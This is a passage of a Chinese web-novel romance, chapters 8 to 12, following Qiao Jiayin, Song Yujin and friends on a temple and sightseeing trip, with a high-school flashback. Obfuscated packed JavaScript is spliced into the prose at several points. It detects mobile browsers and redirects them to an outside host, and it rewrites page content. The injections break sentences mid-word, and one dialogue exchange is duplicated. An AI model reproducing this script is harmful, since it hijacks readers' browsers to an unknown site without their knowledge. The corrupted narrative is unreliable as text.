盛霏接过西瓜汁的同时,将他拉近一点,小声说:“我们没露馅吧?” “什么?” “感觉我们表现得不亲密。” “还好吧。”宋玉津说,“人家真情侣也没多亲密。” 他们俩齐齐向坐在石凳上的另外两人望去。 乔迦茵正在面无表情地让邵允承“试一把”,把手机递了过去,邵允承兴致勃勃地开始切水果。她撑着下巴饶有兴致地看。 盛霏说:“挺亲密的啊。” 宋玉津:“那不然你也把手机给我。” “噢,正好。”盛霏摸出手机,“你帮我修一下这两张自拍,黑眼圈和双下巴要修掉,记得小头。” 宋玉津:“……” 他略感无语地接过手机,打开美图秀秀,这时乔迦茵起身往他们这里走来:“继续上山吧,慎思寺晚上五点就关门了。” “好。”盛霏背上包。 四人前行了几步,乔迦茵眯了下眼瞥见宋玉津手上的屏幕:“你在P图啊?” 盛霏说:“对,我的照片。” 乔迦茵“噢”了一声,过一会儿指点宋玉津,“下巴推太过了,回来一点。” 宋玉津依言照做,没和她争辩。乔迦茵又看了几眼,百无聊赖地走开了,和身边邵允承聊了几句后,去找走到半路上拍起照片的盛霏。 威严庙宇近在眼前,门口游人如织,在排队与苍劲草书匾额合影。 盛霏很起劲地招呼起来:“过来排队,我也要拍这个。” 宋玉津回头望了望,意识到队伍里少了一人。 他问:“乔迦茵呢?” 8. 第 8 章 “迦茵,知道你在休假啊,实在是比较紧急,你给兴国集团做的那份金融债报告我有几个点有疑问啊,给你标注出来了,你快速看一下。” 乔迦茵顿了顿,拿着手机笑道:“不好意思啊戴总,但我现在在外面,这个报告我后来交给安妮姐跟进了……” “她说数据部分是你做的,她不太了解。”戴总满怀歉意道,“你电脑带在身边吧?休假前我提醒你的,麻烦快速处理一下啊,今天尽快发我一份新的,挂了拜拜。” “拜拜。”乔迦茵脸上伪装的笑意褪得干干净净。 周遭都是游客,她走着弯弯绕绕的路线避开人群,就近在山道转角的小观景台找了个还算干净的桌椅坐下,从托特包里取出电脑,火速连上自己的热点,登电脑端微信,点开戴总发来的文件。 她顺着批注下拉到数据分析及预测部分,看一眼就愣住了。 批注是:【计算得不出这个结果,请核算并附底稿】 她切到微信直接问陈安妮:【安妮姐,兴国要的memo你改数字了?】 陈安妮:【没啊】 乔迦茵瞪大眼睛开始打字,输入到一半,陈安妮发了条新的消息过来。 陈安妮:【哦对,兴国后来发了一份新的数据给我,改了两个数】 乔迦茵:【戴总不知道?】 陈安妮:【客户私发的,没发群里,我把消息转你,你跟他说一声】 【好,谢谢。】 乔迦茵开表格,将两个新数据填入,再刷了一遍公式。最后三位数和文件上的还是不同。 【安妮姐,我好像算不出你的结果。】乔迦茵问,【你那边留着底稿吗?】 陈安妮:【找了下,真没有,应该当时没存】 陈安妮:【你直接按照你的计算改了吧,只要不影响结论就行】 话说得轻松,回头戴总看到数字又变了,被问话的还是乔迦茵。 爬山赏景的行人络绎不绝地经过她身前,乔迦茵不再和陈安妮沟通,将表格计算结果输进文件,顺着其他的批注修改调整后,将文档和表格一并发给戴总。 她没立即合上电脑,看着微信窗口等了一会儿。 戴总:【收到,辛苦】 两分钟后,微信闪出通话。 “预测的数字怎么变了?我看有两个数改了,什么情况?” “两个数上一版就改了,客户要改的,底稿这边没更新上去。”乔迦茵说,“计算过程您可以看下我发您新的表格。” “你赶紧把客户的原始数据也给我发一份。” “新的那版应该在安妮姐……行,我问她要一下。” 她将电脑收回包里,给陈安妮发消息。 陈安妮:【已经转了聊天记录给你了呀】 乔迦茵:【戴总想要完整的数据表,有文件吗】 陈安妮:【我手机上没存,文件已经被删除了,等晚点登电脑看】 乔迦茵:【戴总现在就要[哭脸]能尽快吗?】 陈安妮没回了。 乔迦茵叹口气,起身往观景台的另一侧走过去些,避开嘈杂的人群,拨了电话过去。 山道转角处的观景台,一侧走道,一侧峭壁。一眼望下去野草丛生,深不见底。 远方云层浅淡,透出浅金色的落日光。 通话响了五声,没人接。 微信自动取消通话,乔迦茵将手机从耳边拿下,对着屏幕无话可说。 忽然听到有人在背后大声喊了一声她的名字。 “乔迦茵!” 声音耳熟得令人厌烦。 乔迦茵站在那里没动,再次按下语音通话。陈安妮不接她电话,她不想理宋玉津。 于是那个人快步过来,再次喊了一遍,仿佛近在耳畔。 “你来干嘛啊。”感觉身后有人靠近,她转身烦躁地说了一句,听筒里忽而响起人声。 于是乔迦茵迅速挥了下手,遏制住宋玉津的发言,尽量温和地招呼道,“佳妮姐,不好意思,客户给的那份数据方便现在发我吗?魏总催得很急。” “哦哦迦茵啊真的抱歉,刚才没看到你打电话过来,我在医院呢,电脑没带在身边,你等我回去发你吧。” 今天不是工作日吗?陈安妮请了病假? 乔迦茵心底略有些疑惑,但这疑惑一瞬就掠过了脑海,被她忽视了。 毕竟是去了医院,说不出重话,乔迦茵说:“行,那麻烦你回去后记得发我,或者直接发魏总也行。” “好啊,没问题。” “那你注意身体。” * 乔迦茵挂了电话就忙不迭给魏总发消息讲清楚情况,等对方回了“没事”后才稍松一口气,抬起眼睛看向宋玉津。 这才发现,他来得似乎很急,额上有一点细微的汗,尚且气喘吁吁。 出汗的缘故,眼眸如被水浸染过,色泽比平时更深,面上也没有寻常笑意,难得冷着脸看她,眼睛一眨不眨,甚至有几分乔迦茵看不太懂的情绪。 大约乔迦茵面上的疑惑太明显,宋玉津盯着她半晌,忽然缓慢地松了一口气。 “你话也不说一句就跑了,大家都在找你。”他说。 乔迦茵莫名其妙道:“那可以发消息给我啊,我能走多远。” 宋玉津难得没和她怼起来,只安静了一会儿,率先转身说:“走吧,他们在上面禅院入口等。” 说什么来什么,乔迦茵跟在他身后刚走了两步,盛霏的语音消息就发过来了。 “你去哪里了哇,我们要进寺庙啦!快来拍个合照!” 乔迦茵瞄了一眼,宋玉津径自向前走,只留给她一个冷漠的后背,因为腿长步子大,正在离她越来越远。 她放弃喊他停下来,直接驻足,低头打字:【已经和宋会合,马上过来。】 盛霏秒回:【快点哦!】 乔迦茵切出去看了眼,陈安妮还没发文件过来。 她将手机塞回口袋,宋玉津不知何时又折返回来,脸上表情愈加冷淡,眉头压得很低:“怎么又不走了?” “回消息。”乔迦茵说,“走吧。” “还是工作?”这次放慢脚步等她一起了。 “不是。”乔迦茵说,“你女朋友。” 宋玉津似乎极大地怔愣了一下:“什么女……哦,哦,盛霏。” 乔迦茵难以置信:“你脑子坏掉了?” 和她并肩上山的青年试图解释:“一时没反应过来。” “你以前挺聪明的呀。”乔迦茵说,“看来英国教育不行,把你教傻了。” 宋玉津略抬眼皮瞥她一眼,说:“和教育没关系,我是吃白人饭吃傻的。” “对母校挺有感情?” “不是。”宋玉津笑一下,“是我压根不怎么去上课,白人教育祸害不到我。” * 离禅院门口打卡点还有一大段距离的时候,盛霏就看见他们了,竭力在那边挥手:“乔迦茵乔迦茵快过来拍照!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738543|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……车上插科打诨一路过来,现在盛霏也被带的连名带姓叫她了。 “合照吗……?”乔迦茵语气不太确定,在寺院门匾下合照实在太像中老年观光团合影。 “合照一会儿再说,先每人来张打卡的,我和小邵都已经互相拍好了,你过来站这儿。”盛霏语速飞快地下指令,端起脖子上挂的相机,“我给你拍,你挺胸抬头。” 乔迦茵:“……” 盛霏继续命令:“笑!” 乔迦茵提了一下嘴角,在盛霏身后稍远的距离,宋玉津也举起了相机。 她一秒都不想在那个打卡点多待,快步走到盛霏旁边,低头看她相机成品,宋玉津也凑了过来,把屏幕递过去展示。 “你这拍得不行。”盛霏对宋玉津的技术嗤之以鼻,“拉这么近干嘛。” 乔迦茵心想她喜欢拉近的,盛霏拍的照片更像寺院才是主角。 但她又实在不情愿称赞宋玉津,何况…… “拍得我五五分。”乔迦茵指着那张拉近的照片说。 宋玉津补救:“可以修啊,你把下面腿都截掉。” 盛霏得意道:“还是我的好,我这一百分。” “你的也不好。”乔迦茵冷酷地说,“两个人加起来不到五十分。” 摄影一向是盛霏的爱好,乔迦茵知道,看她朋友圈时常发些作品,不太擅长人像,但是风景拍得不错。 宋玉津什么时候开始玩这个,她倒毫无概念。 不过她也没他微信就是了,断联多年一无所知很正常。 乔迦茵没有兴趣打探这个,语气不快地提醒他们:“再不进去逛,五点要关了。” 盛霏:“啊!可是宋玉津还没拍吧。” “我不拍也可以。”宋玉津小声说,“站那里拍照很傻。” 刚拍完的乔迦茵更不爽了。 慎思禅院极大,依山而建,巍峨森严。 盛霏一进门就在碎碎念“财神殿在哪里”,乔迦茵说:“没用的。” 盛霏大吃一惊:“你别在寺庙里乱讲话!” 乔迦茵无动于衷:“我年年都拜财神,就没发过财。” “你怎么许的愿?好像挺有讲究的。”邵允承在一旁饶有兴致地问。 “财神在上,请助我发财。”乔迦茵说。 盛霏:“我玩抽卡游戏前祈祷都没你这么敷衍。” “哪里敷衍?”乔迦茵不理解。 “愿望要具体啊,你要求什么财,升职加薪还是投资理财,还要自我介绍。”盛霏说。 乔迦茵:“还要自我介绍,面试吗?我是不是还得给他stockpitch啊。” 和黑魔仙讲不通,盛霏被她打败了:“算了算了,你别拜了,你这个……” 盛霏没想出什么好词,清净之地又不该吐露污言秽语,宋玉津一边忍笑一边帮她补全:“你这个坚定的唯物主义者。” 盛霏接受提示,立即攻击道:“你这个坚定的唯物主义者!” 乔迦茵:“……谢谢?” 香客众多,盛霏走得急,又时不时跑到各个角落拍照,很快和他们走散。乔迦茵不想和宋玉津搭话,迈着步子离他远远的,顺利地将宋玉津和无辜的邵允承甩开,独自观览过一众佛殿。 禅院广阔,她绕了一大圈,台阶上上下下,准备喘口气歇息一下时,抬眼就是财神殿。 偏偏和不想见到的人狭路相逢。 宋玉津扬起一边眉毛:“原来你并不坚定啊?” 9. 第 9 章 “坚定。”乔迦茵说,“我不拜。” 方才还是玩笑,宋玉津这下真有些惊讶了。 “真因为你拜了好几年都没回应?”他说,“那人家财神做事不一定有那么快嘛。” “不是。”乔迦茵还是站在殿门外面不动,道,“盛霏提醒我了,我求发财没指明过什么形式,我怕求完他给我发个N+1。” 宋玉津:“……啊?” “你没在网上看到过吗?许愿事业发展结果同事离职甩下一堆工作,许愿变瘦结果生病吃不下东西,愿望没说清楚就会被调剂。” 宋玉津:“那不是北京那个吗。” “谁知道其他的会不会也这样。”乔迦茵抱起双臂说。 “你讲清楚不要N+1。”宋玉津说,见女人无动于衷,轻易地放弃了说服,转身踏进财神殿,“你不拜我拜。” 乔迦茵磨了磨后牙,跟在他身后进去了。 要是宋玉津发财了她没有,岂不是很没面子。 结果还是一起好好拜了财神。 “什么时候这么爱钱了。”出到殿外后,乔迦茵在他背后嘀咕,音量不大不小,故意说给他听的,“家里又不缺钱,贪不贪心。” 他俩一起沿着阶梯下行,宋玉津无语得笑了,回头说:“谁不爱啊?你就不爱?” 乔迦茵眼珠子往旁边转,装无事发生。 宋玉津看了眼前面岔路,说:“我们先往正殿走?他们应该都在那边,我发个消息问问。” 后面的人噢了一声。 宋玉津在群里发完问话,等了一会儿,邵允承回了一张照片,他点开放大辨认,看上去就是大雄宝殿。 乔迦茵忽然问:“你后来为什么学了经济学。” 宋玉津有点诧异:“你怎么知道?” 乔迦茵白了他一眼:“有的是办法知道。”和他断联又不是和所有老同学断联。 何况宋玉津现在在券商研究所做分析师,研报上都会标注姓名和学历,不是什么难查的事。 “以为你没兴趣。”宋玉津笑了下,迎面有好几个小孩喊叫着冲上台阶过来,赶紧伸手帮她虚虚拦了一下,“当心。” 乔迦茵往墙边靠了靠。 “是没兴趣。”等那几个大呼小叫的孩子跑了,她说,“我记得你以前想学的不是这个。” 宋玉津确认她没被撞到,回过头继续往前走:“你不是也学金融去了吗?” “我又没有理想。”答得理直气壮。 他反问:“我有吗?” “没有吗?”乔迦茵也反问。 青年忽而仰起头,下颌角锋锐分明。 他摊开掌心,交错的纹路中央接住一小片散落化开的雨水:“下雨了。” 与此同时,乔迦茵感觉到脸上滴到丁点凉意。 雨势顷刻间加剧,雨点接二连三地落在头顶肩膀。 禅院太大,前后左右没有可以避雨的地方,离正殿已经不远了,乔迦茵抬手勉强挡住刘海,加快脚步:“跑过去吧。” 宋玉津一把拉住她。 “我带伞了。” 噢,车里那把小伞。 乔迦茵愣了愣,宋玉津已经从背包里取出那把伞,放进她手里,语气耐心道:“他们两个应该都在大雄宝殿那里,这条路直走,左边台阶上去就行,下雨路滑,走慢点也没事。” 他没有和她共撑一把伞的意思,乔迦茵问:“那你呢?” 宋玉津就着她的手把伞撑开了,等她握住后,提了一下背包的一边肩带,说:“我跑过去,一会儿见。” 不容置疑地转身就跑了,还背对着她潇洒地挥了两下手。 * “幸好这雨没下多久,不然我们回停车场都是难题。”车窗玻璃起了一层雾气,盛霏坐到驾驶座,关上车门,按开车窗。 乔迦茵还站在车外,泄愤似的狠狠甩了几下手上的伞。 伞面被拉扯的声音太大,盛霏转头问副驾驶上的宋玉津:“她怎么了?” 宋玉津道:“只是甩干水吧。” 话音刚落,乔迦茵坐进后座,砰地关上了门。 “伞还你。”她将收好的伞递给宋玉津,伞柄那头朝他,“谢了。” 嘴上说着谢,宋玉津觉得这姿势像是她要捅死他。 盛霏将手机蓝牙连上车载操作系统,点好导航,问:“大家想听什么?” 宋玉津和乔迦茵都没说话,邵允承倒是举起手,兴致勃勃道:“我想要点一首英文歌,叫……” “好的,那我先放《伤心的人别听慢歌》。”盛霏兴高采烈道,“你待会自己连蓝牙。” 邵允承:“……” 他侧头看向乔迦茵,压低声音问:“那为什么要问?” 乔迦茵见怪不怪:“她就这样。” 《伤心的人别听慢歌》前奏都没放完,系统默认铃声通过车载音响响起,屏幕上显示来电:爸。 盛霏愣了一下,手机还握在掌心,想也没想就接通了。 夹带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是吗?”盛霏意外地看了眼宋玉津,后者难得收起了一点笑,神情若有所思。 乔迦茵手肘抵着车窗板,撑着额角转过头,对上宋玉津隐晦莫测的视线。 她在对视中缓慢地应话:“……嗯,他以前在高中语文课上说的,做阅读理解的时候。” 10. 第 10 章 初次月考后,宋玉津拿了班级第一,年级第五的消息不胫而走。 “……说是成绩好,长得又帅,初中时候的资料都被传开了,好像一直人缘很好。”温见竹抱着一沓练习册走在乔迦茵身边,“我别的班的女生朋友都来向我打听他,问我他坐哪里。” 上午第一堂是物理课,乔迦茵陪她一起提前去办公室取批改好的作业。 乔迦茵也抱着另一半练习册,闻言本能地皱了下眉头:“为什么要问座位?” “可以过来看一眼真人到底如何啊。”温见竹说,“还听说有人要给他送牛奶零食什么的。” “至于吗?我觉得他没有帅到那么鹤立鸡群的程度。” 温见竹笑笑:“因为我们学校的其他男生都是歪瓜裂枣。” 乔迦茵侧眸瞥她一眼。 其实温见竹攻击性蛮强的呢,只是平时在外安静,所以看不出来。 “还好啦,那个廖明就还可以。”乔迦茵说,“班里特别高那个男生。” “他是体育生吧?成绩实在有点……不过好像确实经常有很多不认识的女生来找他,艺体生有自己的圈子。” 回到教室后,乔迦茵把手头的练习册发下去,刚走回座位就被人打趣:“日行一善啊。” 有病。乔迦茵懒得说,翻翻眼睛,被他桌上一排牛奶吓了一跳:“你要开小卖部?” “什么跟什么。”男生无奈道,“不知道哪来的,早自习前就有两盒,结束后我出去了一会儿,回来变这么多了。” 乔迦茵诡异地沉默了一会儿,视线从上到下审视着他。 长得是还可以,但除此之外也就是个普通男高中生,有什么光环? 宋玉津被她看得心里发毛:“你是不是要解剖我?” “被害妄想症。”乔迦茵说,转回去在自己座位好好坐下了,留给他一个冷酷的后背。 宋玉津还在唧唧歪歪:“你要不要喝牛奶?这么多我又喝不完。” “不喝,我牛奶过敏。” “牛奶也过敏,前几天她们点百香果茶你也过敏……” * 周五班会课。 临近下课时分,闫倩拍了两下手,制止了班级里浮动的喧哗:“最后还有一件事,学生会成员招募,每个班级有一个推选名额,其他的学生如果想要参加,下周可以去西广场报名,我们班不出意外的话,就选宋玉津同学了,大家有什么意见吗?” 无人说话,温见竹转过头看了眼乔迦茵。 “那就这么定了啊,宋玉津一会儿过来我这里填个表。”闫倩道,“除了值周同学,其他人等铃响后就放学,周日晚自修见。” 闫倩一踏出教室,班里已近似放学状态。 乔迦茵整理了几本课本塞进包里,转头瞥见宋玉津时扬眉道:“你不去找闫倩?” “晚点再去,反正她要检查完值周才下班。”宋玉津在看书,还差最后十分之一,“我一会儿顺路去图书馆还书。” 女生拉起拉链的动作顿住,视线在他脸上稍微一停。 “无聊的人。” 对她各式各样的指控已经习以为常,宋玉津随手翻过一页,心不在焉地问:“为什么这么说?” 乔迦茵张口要说什么,温见竹不知何时偷偷溜了过来,趴在她桌子上问:“迦茵,你不是想进学生会吗?闫倩怎么自作主张就定人了。” 她声音很小,但宋玉津还是听见了。 男生放下书,抬起眼:“真的?我跟闫倩去说。” “我没有。”乔迦茵立刻说,向温见竹澄清,“我那天只是好奇,才多问了几句。” 宋玉津问:“哪天?” 温见竹回答他:“就是学生会来每个班宣传那次,午休,你不在。” 宋玉津思忖片刻,起身道:“那我去找闫倩吧,让她把名额换给你。” “她怎么会同意啊?她肯定会回来班上再问的。”温见竹惴惴不安道。 “你去个屁,坐下。”乔迦茵对宋玉津说,面对这两个人一个头两个大,“我说我想去了吗?我又不想和一群人打交道,学生会不适合我。” 温见竹蔫下来:“可是那天你……” “听他们说,通过学生会提案调整了早自习时间,改善了食堂选菜,将寝室楼晚间热水改成了全天热水什么的。”乔迦茵说,“我觉得还挺好的,就多问了几句,但没有加入的想法。” 她停了半秒,补了一句:“而且来我们班宣讲那个学长很帅。” 宋玉津:“……” 温见竹回忆了一下:“他确实不错,我早就想说了,真的很帅。” “而且他打领带了。” “打得非常好看。” “所以还要不要我去跟闫倩说?”后座几乎被她们忽视的男生插话进来,“反正我也没有很想加入。” 乔迦茵果断道:“不需要,我要是真的想去,下周也可以自己报名。” “好吧。”温见竹说,“我收拾东西比较慢,待会给你发消息。” “好。” 身形小巧的女生一溜烟跑了,宋玉津问乔迦茵:“你们一起回家?” “我约了她到我家看电影。”乔迦茵随口说,她包已经收完了,拿出手机点开个视频,从口袋里摸出耳机插上。 宋玉津伸手扯了一下她外套衣袖:“铃响前年级主任还会再巡逻一次,你藏起来。” “噢,好。”乔迦茵不太高兴地将东西收回去。 宋玉津瞥见她屏幕上视频画面:“又看鬼片。” “鬼片好看啊。” 男生不予置评,问:“你和温见竹约的电影也是鬼片?” “不是,她看不了太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738545|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺激的,我们看《生化危机》。” “还是鬼片。” “丧尸片好不好。”乔迦茵说,“看你的书去。” * 盛霏洗好澡出来,就望见乔迦茵穿着睡衣趴在床上,平板里画面惨不忍睹。 她不由得说:“你是我见过最爱看血浆片的人。” “那你见的人太少了。”乔迦茵头也不抬,“很多人偷偷爱看,不说你就不知道。” 盛霏点点头,问:“要关灯吗?还是你要再看一会儿?” 乔迦茵点了暂停,将平板放到一边,拉上被子:“关了吧。” 咔哒一声响,房间里陷入黑暗。 一阵窸窸窣窣的摩擦声,盛霏摸索着躺到床上,缩进被窝。 “J,你睡了吗?”她小声问。 另一张床上传来凉凉的回答:“睡着了。” 冷幽默,盛霏笑起来。 乔迦茵转过身侧卧,望见黑暗中盛霏的眼睛,像两颗烧制完美圆润的黑色珠子,闪着两簇高热的亮光。 “你早恋过吗?”盛霏问。 “高中吗?没有。” “你不像啊,而且你后来谈了那么多,我以为你会是很早熟那种。” 乔迦茵笑了一声:“可能就是因为高中没有谈,后面就疯狂地谈恋爱,补偿心理。” “歪理邪说。你看上去没那么不清醒。”盛霏说,“高中没人追过你吗?” 隔壁床安静了一会儿。 乔迦茵说:“收到过情书。” “这么老派?然后呢,你把对方拒绝了?” “本就没有要交往的意思吧,没有署名。”她说,“光看内容,连对方男生女生都猜不到。” “是有点遗憾吗?” 乔迦茵很快地说:“没有。你怎么不说说你自己,你高中的时候谈过恋爱吗?” “我也没有。”盛霏回答,“高中的时候我每天死命学习,其他事情完全不关心,只想快点上大学,逃离那个家。” 乔迦茵顿了顿,说:“幸好你逃出来了。” “我也没有。”盛霏说,“高中的时候我每天死命学习,其他事情完全不关心,只想快点上大学,逃离那个家。” 乔迦茵说:“幸好你逃出来了。” “有那么容易就好了。”盛霏苦笑了一声。 乔迦茵没说话了。 盛霏想起什么,说:“宋玉津也说他没有早恋过,不过他蛮夸张,好像就没怎么谈过恋爱……你和他看上去都不像是那种好学生啊,你们高中是管很严?” 她听出乔迦茵呼吸变了频率。 “……啊?”乔迦茵半天才憋出一个拔高的音,“他说他没谈过?” “对啊……”盛霏迷惘地应了一声,随后意识到了什么,猛地坐了起来,“难道他骗我的?” 11. 第 11 章 “……那倒不是。”乔迦茵说,“据我所知,他高中时候确实是没有谈过恋爱。” 虚惊一场,盛霏松一口气,躺回去了。 “那你怎么这么惊讶?我还以为被骗了。” 乔迦茵翻个身,换成平躺的姿势,睁眼望着天花板。 “我说了你不要生气。”她说。 盛霏:“嗯?” “之前听高中同学那里传我和他谈过。”乔迦茵道,“我以为他造谣的。” “啊?为什么会这么认为?” “男生那里传的啊,他们一群男生关系都很好。” “原来是这样,可能中间有什么误会吧。”盛霏思考道,“不过也不一定,说不定宋玉津对我是这个说法,对同学们又是那个说法,知人知面不知心啊。” “是啊。” “你是因为这个,才一直和他过不去?”这些天她对宋玉津始终是一副爱答不理的漠然态度。 “……差不多吧。” “那还是问清楚比较好!”盛霏说,“虽然这个事情说出口还挺尴尬的。”别人都说我们在一起了,之类的。 “不过我烦他不是一天两天了,不全是这一件事的关系。” 乔迦茵顿了顿,语气有些奇怪道,“你不生气吗?” “啊?”没懂,“我生什么气?” 乔迦茵抬手比划了下,想起屋里乌漆麻黑,对方看不见,放下手讪讪道:“就是,我和你男朋友是旧识,而且有这种传闻。” “开玩笑,宋玉津怎么就我男……噢噢噢噢噢噢,噢,噢,是的,没错。”时至深夜,盛霏困糊涂了,一不留神差点说漏嘴,“你说得没错,我有一点生气了。” 乔迦茵:“……” 盛霏道:“但是我是一个大度的人,所以没关系。” “好的,谢谢你。”乔迦茵心想,盛霏果然不是一般人。 * 落了一日雨后,天像彻底漏光了水,暴烈地放晴,日光盛过酷暑时节。 次日将近午间才出发,四人在全天最晒时分游玩海塘镇,走马观花,无暇细顾。到了下午四点半,一行人匆匆从海塘镇出来,赶往停车场,几乎逃亡一样地躲进车里吹冷空调。 “我感觉不太妙。”宋玉津说,“昨天看从这里到白菽湾至少两个半小时起步,现在过去大概率错过日落。” “我们全力加速开呢?”盛霏满怀希望。 宋玉津迟疑道:“你可以吗?” 盛霏体能不太好,在烈日下走了两个小时路已经气喘吁吁,几近脱力。 “我……”盛霏只能承认,“我确实不可以。而且太阳一晒我就容易犯困,现在好想睡觉。” 乔迦茵忍不住幽幽道:“……你睡了十二个小时,中午怎么叫你都叫不醒。” “我来开吧,你从里面跨过去就行。”宋玉津动作利落地下车。 盛霏说:“我有点想去后排睡觉。” 这款车车型后座更宽敞,而且配有软毯和靠枕,她一注意到就眼馋了。 邵允承主动提议:“我和你换,你坐我这里吧。” 盛霏表现得犹豫不决:“嗯……” 乔迦茵看她表情就会意:“那和我换?” 盛霏小鸡啄米式点头。乔迦茵带的东西少,包也小巧,明明是相同座椅,看上去空间就是比邵允承的空旷。 几人换了位置,盛霏探进后座,与邵允承对上目光,后者不知道该说什么,无措地笑了一下。 盛霏也礼貌地笑笑,调整了下靠枕就闭上眼睛。 乔迦茵在副驾一坐下就说:“什么东西硌到我了。” “噢,我忘了。”盛霏恍然大悟地睁开眼,“我的相机,你拿给我吧,我放后座。” “怎么有两个?” “……另一个是我的。”宋玉津道,“都放后座吧。” 盛霏接过两个相机放妥,车子也平稳地向前驶去,她安然闭上了眼睛。 尴尬的是另外三位。 盛霏向来是活跃气氛的人,一整个车程都是她主导话题,带动大家聊天,她一安静下来,剩下三人其实没什么话可说,尤其宋玉津和乔迦茵之间始终不冷不热。 而且有人睡觉,其他人也不好大声说话打扰。 乔迦茵看了一会儿前窗风景,就低头打起了游戏。 宋玉津轻声喊她:“乔迦茵。” 气声回:“干嘛。” “帮我点下导航,谢谢。” 乔迦茵帮他输入目的地,点了开始导航,语音播报第一句后,宋玉津默默把音量调小。 她瞥了他一眼,意思是没有别的事了吧? 宋玉津轻微摇头。 乔迦茵窝回去打游戏,这时后方传来一个男声。 “呃,那个。”邵允承说,“能不能播我的歌单,我想放一首英文歌……” 昨天没能放成,盛霏选了第一首后就顺着她的手机歌单播下去了。 “手机给我。”乔迦茵向后摊开掌心。 邵允承愣了一下,点开音乐软件,将手机放到她手里。 乔迦茵连上USB线,接蓝牙,在车载系统屏幕上点了几下,将手机往后伸:“好了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738546|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >邵允承低声道谢,接过手机。 宋玉津余光扫过他们俩的动作,隐约地感觉不对。 但他也没细想,任这个不成形的念头在初秋的风里消逝了。 灿烂的日光毫不客气地洒进前座的每一寸角落,打开遮阳板也无济于事,晒得每一块皮肤都隐隐发热,闭上眼睛也隐隐感受到橘色的光球在视野里旋转发亮,像迪斯科球。 光太亮根本玩不了游戏,乔迦茵放下手机,避着光线侧过头,不知不觉就这么睡着了。 醒来时,眼前是一片层层叠叠的金粉色云霞,犹如童话幻梦里的城堡成了海市蜃楼,将附近的天空都染至鲜暖色调,仿似文艺复兴时期镀了一层柔光的油画。 似乎隔得很远,只占据了天空的一角,车子在高速上疾驰,那座城堡也由前方漂浮到右侧,向后退去。 乔迦茵睁大了眼睛,望向侧后方的那片光辉晚霞。 这不就是盛霏想看的绝美日落吗?! 盛霏,你倒是醒来啊! 后座的女人睡得不省人事,甚至发出细微的鼾声。 转眼一看,邵允承不知何时也睡着了。 乔迦茵回过头,和除她以外车内唯一清醒的人士对视一眼,青年无奈地笑了一下,小声问:“你看到了?” 她点点头。 “看到了。” 红灯,刹车。 宋玉津说:“能把我的相机拿过来吗?” “你要拍?”乔迦茵压低声音,一个红灯能有多长,哪有时间给他拍照。那边的日落已经离得很远了。 “你来。”帮她把那侧车窗降了下来,晚风轻快地灌了进来. 鸣笛声、交警吹哨声、人群喧闹声,像是现实世界猛然间闯入。 “……我不会。”说着还是探手到后座了,相机就在盛霏身侧,乔迦茵拨了一下被吹乱的头发,握住带子将相机一点点扯到座位边缘,随后伸手将相机捧了过来。 宋玉津帮她打开,简单调了下焦距后就将相机交给她:“直接拍就是了,你那边才能拍到。” 红灯下方已经显出60秒倒计时,乔迦茵语气焦急起来:“来不及了,我对不准。”他放得太大,她找半天找不准位置。 “来得及,没事的。”宋玉津伸手过去,从她的手下面托了一下相机,抓住她食指调整位置,仅一瞬就立刻松开了,“这是快门,按。” 快门声接连响起的一秒里,红灯转绿,宋玉津双手把持方向盘驾车前行,乔迦茵朝着车窗,背对着他,长发被吹得飞扬起来,有细细的一缕险些荡到他脸颊。 引擎轰鸣。 12. 第 12 章 秋季的落日时间奇短,倏忽之间就消失在地平线尽头。 到达白菽湾入口时,天色已完全变作深蓝,一轮弦月高悬上空,将附近的一片天空都映照成亮得几乎透明的色泽。 盛霏一迷迷糊糊地醒来,就得知彻底错过日落的噩耗。 “没人叫醒我!”她愤愤地控诉。 “我叫了。”宋玉津说,“你没醒。” 乔迦茵:“我也叫了。” 邵允承:“我还轻轻地推了你一下……” “轻轻地推了我?”盛霏抓狂道,“你应该重重地攻击我!不然我醒不过来的!” 乔迦茵敬佩道:“你睡眠质量太好了。” “现在怎么说?”宋玉津将车窗降下来,探头看了看外面。白菽湾是江滩堤岸,属于小众景点,人不算多,到了夜晚更是空旷。 “去海塘镇夜市吃饭吧。”乔迦茵道,“既然都已经错过了。” 盛霏还是有点无法割舍:“我们上去看一眼,看一眼就下来。” “真的吗?”邵允承忍不住说,“现在天都黑了,江边看不到什么东西。” 